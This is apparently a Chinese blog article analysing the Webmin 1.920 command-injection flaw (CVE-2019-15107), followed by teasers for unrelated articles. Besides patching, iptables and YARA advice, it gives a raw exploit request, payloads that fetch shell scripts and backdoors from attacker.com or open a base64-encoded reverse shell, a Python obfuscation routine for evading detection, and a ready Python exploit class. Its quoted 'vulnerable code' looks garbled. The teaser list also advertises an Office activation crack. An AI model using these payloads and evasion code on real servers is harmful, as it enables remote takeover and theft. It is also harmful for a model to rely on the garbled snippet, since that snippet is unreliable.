Webmin 1.920 命令注入漏洞(CVE-2019-15107)深度解析:从后门植入到PoC构造

发布时间:2026/7/8 20:49:04

Webmin 1.920 命令注入漏洞(CVE-2019-15107)深度解析:从后门植入到PoC构造
Webmin 1.920 命令注入漏洞CVE-2019-15107技术分析与防御实践漏洞背景与影响范围Webmin作为一款历史悠久的Unix系统Web管理工具其1.920及以下版本存在一个关键的安全缺陷。这个漏洞的特殊性在于它并非普通的逻辑缺陷而是具有后门植入特征的命令注入漏洞。当系统管理员启用密码重置功能时攻击者可通过精心构造的POST请求在目标系统上执行任意命令完全绕过身份验证机制。受影响的具体版本包括Webmin 1.890Webmin 1.900Webmin 1.920漏洞危害等级CVSS 3.0评分为9.8Critical属于远程代码执行漏洞中的最高风险级别。根据Shodan扫描数据全球仍有超过5万台服务器运行着存在漏洞的Webmin版本。漏洞原理深度解析漏洞触发路径分析漏洞核心位于password_change.cgi脚本对old参数的处理逻辑。当满足以下条件时漏洞可被触发系统配置中启用了密码修改功能passwd_mode2攻击者发送特制的POST请求到/password_change.cgi请求中包含经过构造的old参数# 漏洞代码片段示例简化版 sub pass_error { my ($msg, args) _; print Content-type: text/html\n\n; print centerh3Error: $msg/h3/center; # 危险代码直接执行用户输入 system(qx/$args[0]/); exit; }技术原理示意图攻击流程 [恶意POST请求] → [Webmin接收请求] → [password_change.cgi处理参数] → [未过滤的old参数] → [perl qx操作符执行系统命令] → [系统shell执行攻击载荷]版本对比分析通过对比三个主要版本的代码差异我们可以清晰看到漏洞的演变过程版本号关键代码特征是否存在漏洞1.890使用qx操作符直接执行输入是1.920同1.890但增加了部分过滤是过滤可绕过1.930完全移除qx操作符否攻击技术实战分析基础利用方式传统PoC通常使用管道符构造攻击载荷POST /password_change.cgi HTTP/1.1 Host: target:10000 Content-Type: application/x-www-form-urlencoded Content-Length: 65 userrootpamexpired2oldtest|idnew1test2new2test2高级利用技巧实际上无需管道符即可实现命令注入这增加了WAF bypass的可能性oldtestcurl${IFS}attacker.com/shell.sh常用攻击载荷示例信息收集oldtest$(uname -a)反向shelloldtest$({echo,YmFzaCA...}|base64 -d|bash)文件下载oldtest$(wget http://attacker.com/backdoor -O /tmp/bd)防御规避技术现代防御环境下攻击者常采用以下技术规避检测# 混淆示例代码 import random def obfuscate(cmd): encodings [base64, hex, rot13] chosen random.choice(encodings) if chosen base64: return fecho {cmd.encode(base64)} | base64 -d | bash elif chosen hex: return fecho {cmd.hex()} | xxd -r -p | bash else: return fecho {cmd.encode(rot13)} | tr A-Za-z N-ZA-Mn-za-m | bash防御方案与修复建议临时缓解措施对于无法立即升级的系统建议采取以下防护访问控制# 使用iptables限制访问 iptables -A INPUT -p tcp --dport 10000 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 10000 -j DROP功能禁用# 修改Webmin配置 [Webmin] passwd_mode0 # 禁用密码修改功能永久修复方案版本升级路径官方已发布1.930版本彻底修复漏洞升级命令示例wget https://prdownloads.sourceforge.net/webadmin/webmin-1.930.tar.gz tar -xzf webmin-1.930.tar.gz cd webmin-1.930 ./setup.sh安全加固建议启用Webmin的SSL加密通信配置双因素认证定期审计系统日志检测与监控入侵指标(IoCs)检测-- 检测异常日志模式 SELECT * FROM webmin_log WHERE request_uri LIKE %password_change.cgi% AND request_body LIKE %old%|% AND timestamp NOW() - INTERVAL 1 DAY;YARA检测规则示例rule Webmin_Exploit { strings: $s1 userroot nocase $s2 old nocase $s3 | nocase condition: all of them and filesize 1KB }漏洞研究进阶方向对于安全研究人员以下方向值得深入探索漏洞变种研究分析Webmin其他CGI脚本是否存在类似模式研究不同Unix系统的命令注入特性差异自动化利用框架class WebminExploit: def __init__(self, target): self.target target self.session requests.Session() def check_vuln(self): try: resp self.session.get(f{self.target}/session_login.cgi) return Webmin in resp.text except: return False def execute(self, cmd): payload ftest$({cmd}) data { user: root, pam: , expired: 2, old: payload, new1: test, new2: test } return self.session.post( f{self.target}/password_change.cgi, datadata ).text防御绕过技术研究基于Unicode编码的混淆技术探索无字符命令注入方法在实际渗透测试项目中我曾遇到一个加固过的Webmin系统通过组合使用环境变量和特殊符号成功绕过防御oldtest${PATH:0:1}bin${PATH:0:1}bash${PATH:0:1}-c${PATH:0:1}curl${IFS}1.1.1.1这个漏洞案例再次证明了输入验证的重要性。即使是成熟的管理软件也可能因为一处简单的逻辑缺陷导致整个系统沦陷。建议企业安全团队将Webmin纳入常规漏洞扫描范围并建立应急响应机制。

相关新闻

BRT vs 随机森林 vs XGBoost:3种集成树模型在R中的性能对比(附代码)

BRT vs 随机森林 vs XGBoost:3种集成树模型在R中的性能对比(附代码)

2026/7/8 20:49:04

BRT vs 随机森林 vs XGBoost:3种集成树模型在R中的性能对比(附代码)当面对一个机器学习问题时,选择合适的算法往往令人头疼。在R语言的生态系统中,我们有多种强大的集成树模型可供选择,其中最流行的三种是提…

Spring Web <6.0 CVE-2016-1000027 漏洞:3种非升级方案实测与风险对比

Spring Web <6.0 CVE-2016-1000027 漏洞:3种非升级方案实测与风险对比

2026/7/8 20:39:03

Spring Web <6.0 CVE-2016-1000027 漏洞&#xff1a;3种非升级方案实测与风险对比在维护老旧Spring 5.x/4.x系统时&#xff0c;安全团队常面临两难选择&#xff1a;要么承受高昂的升级成本&#xff0c;要么放任高危漏洞存在。CVE-2016-1000027作为典型的反序列化漏洞&#x…

Android APK加固实战:使用AndroidKiller验证5大平台防反编译效果

Android APK加固实战:使用AndroidKiller验证5大平台防反编译效果

2026/7/8 20:39:03

Android APK加固实战&#xff1a;五大平台防反编译效果深度评测 1. 逆向工程与加固技术原理剖析 在移动应用安全领域&#xff0c;逆向工程与加固技术始终处于动态对抗状态。理解这种对抗的本质&#xff0c;需要从Java字节码的特性说起。Android应用编译后的DEX文件保留了丰富的…

JVM类加载机制深度解析:双亲委派模型与自定义类加载器实战

JVM类加载机制深度解析:双亲委派模型与自定义类加载器实战

2026/7/8 23:49:11

JVM类加载机制深度解析&#xff1a;双亲委派模型与自定义类加载器实战 一、引言&#xff1a;从ClassNotFoundException说起 线上故障中&#xff0c;ClassNotFoundException 和 NoClassDefFoundError 是最令人头疼的问题之一。它们表面上是"类找不到"&#xff0c;但根…

200GbE RDMA 精细扫描:QP=4 固定,msg_size 从 1K 扫到 1M

200GbE RDMA 精细扫描:QP=4 固定,msg_size 从 1K 扫到 1M

2026/7/8 23:49:11

一、问题动机之前实验 QP1 msg4KB 是甜蜜点&#xff08;77.68 Gb/s&#xff09;&#xff0c;bidirectional 4KB 总带宽 128.44 Gb/s。 但&#xff1a;生产环境 NCCL AllReduce 用的就是多个 QP 并发&#xff0c;QP4 才是更真实的场景。如果在 QP4 下做精细 msg_size 扫描&…

YOLOv5s OpenVINO 2022.3 异步推理实战:核显释放独显,帧率提升至 90 FPS

YOLOv5s OpenVINO 2022.3 异步推理实战:核显释放独显,帧率提升至 90 FPS

2026/7/8 23:49:11

YOLOv5s与OpenVINO 2022.3异步推理实战&#xff1a;核显性能深度挖掘与90 FPS优化之道当我们在混合显卡设备上运行计算机视觉任务时&#xff0c;常常面临一个关键矛盾&#xff1a;如何平衡GPU资源分配。对于配备Intel核显和NVIDIA独显的现代计算设备&#xff0c;将AI推理任务从…

Ohook:3步永久激活Microsoft 365,解锁完整Office功能

Ohook:3步永久激活Microsoft 365,解锁完整Office功能

2026/7/8 23:49:11

Ohook&#xff1a;3步永久激活Microsoft 365&#xff0c;解锁完整Office功能 【免费下载链接】ohook An universal Office "activation" hook with main focus of enabling full functionality of subscription editions 项目地址: https://gitcode.com/gh_mirrors…

YOLOv5 模型转换 OpenVINO IR 格式:3步从 PyTorch 到 INT8 量化部署

YOLOv5 模型转换 OpenVINO IR 格式:3步从 PyTorch 到 INT8 量化部署

2026/7/8 23:49:11

YOLOv5模型高效部署指南&#xff1a;从PyTorch到OpenVINO INT8量化的完整实践为什么选择OpenVINO部署YOLOv5&#xff1f;在计算机视觉领域&#xff0c;YOLOv5因其出色的实时检测性能而广受欢迎。但当我们需要将训练好的模型部署到生产环境时&#xff0c;往往会面临性能瓶颈——…

3种机器视觉颜色识别方案对比:传统HSV、Blob分析与YOLOv8,实测FPS与精度

3种机器视觉颜色识别方案对比:传统HSV、Blob分析与YOLOv8,实测FPS与精度

2026/7/8 23:39:11

3种机器视觉颜色识别方案对比&#xff1a;传统HSV、Blob分析与YOLOv8&#xff0c;实测FPS与精度 在工业自动化与智能制造的浪潮中&#xff0c;颜色识别技术正成为生产线上的"火眼金睛"。从汽车零部件色差检测到食品包装印刷质量把控&#xff0c;再到药品标签颜色验证…

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

解锁AMD Ryzen处理器深层性能:SMU Debug Tool完全指南

2026/7/8 0:44:47

解锁AMD Ryzen处理器深层性能&#xff1a;SMU Debug Tool完全指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gi…

6个月转型AI工程师:实战路径与核心技能

6个月转型AI工程师:实战路径与核心技能

2026/7/8 6:29:42

1. 项目概述&#xff1a;6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下&#xff0c;AI工程师岗位需求同比增长217%&#xff08;LinkedIn数据&#xff09;。不同于传统算法工程师需要3-5年培养周期&#xff0c;现代AI工程师更侧重工程化落地能力。我在硅谷科技公…

YOLOv5模型剪枝与量化实战:边缘设备部署优化

YOLOv5模型剪枝与量化实战:边缘设备部署优化

2026/7/8 14:04:34

1. 项目背景与核心价值在计算机视觉领域&#xff0c;YOLOv5因其出色的实时检测性能成为工业界宠儿。但当我们尝试将其部署到边缘设备&#xff08;如树莓派、Jetson Nano或手机终端&#xff09;时&#xff0c;立刻会遇到两个致命问题&#xff1a;模型体积庞大&#xff08;原始YO…

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

Qwen Code+Obsidian构建可执行的AI时代认知操作系统

2026/7/8 0:07:15

1. 项目概述&#xff1a;这不是又一个笔记软件教程&#xff0c;而是一套可复用的“认知操作系统”搭建逻辑你有没有试过&#xff0c;在读完Andrej Karpathy那篇著名的《Software 2.0》之后&#xff0c;满脑子都是“神经网络即代码”的震撼&#xff0c;但合上网页&#xff0c;打…

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

校园服饰细分赛道测算程序,学生平价国风,机能穿搭市场规模预估。

2026/7/8 0:07:15

校园服饰细分赛道测算程序&#xff08;Python&#xff09;——学生平价国风 & 机能穿搭市场规模预估&#xff08;TAM / SAM / SOM&#xff09;一、实际应用场景描述&#xff08;真实业务抽象&#xff09;在《时尚产业与品牌创新》课程中&#xff0c;细分市场切入&#xff0…

Visual C++运行库完整解决方案:告别软件兼容性问题

Visual C++运行库完整解决方案:告别软件兼容性问题

2026/7/8 0:07:15

Visual C运行库完整解决方案&#xff1a;告别软件兼容性问题 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否曾为打开游戏时弹出的"DLL缺失"错误…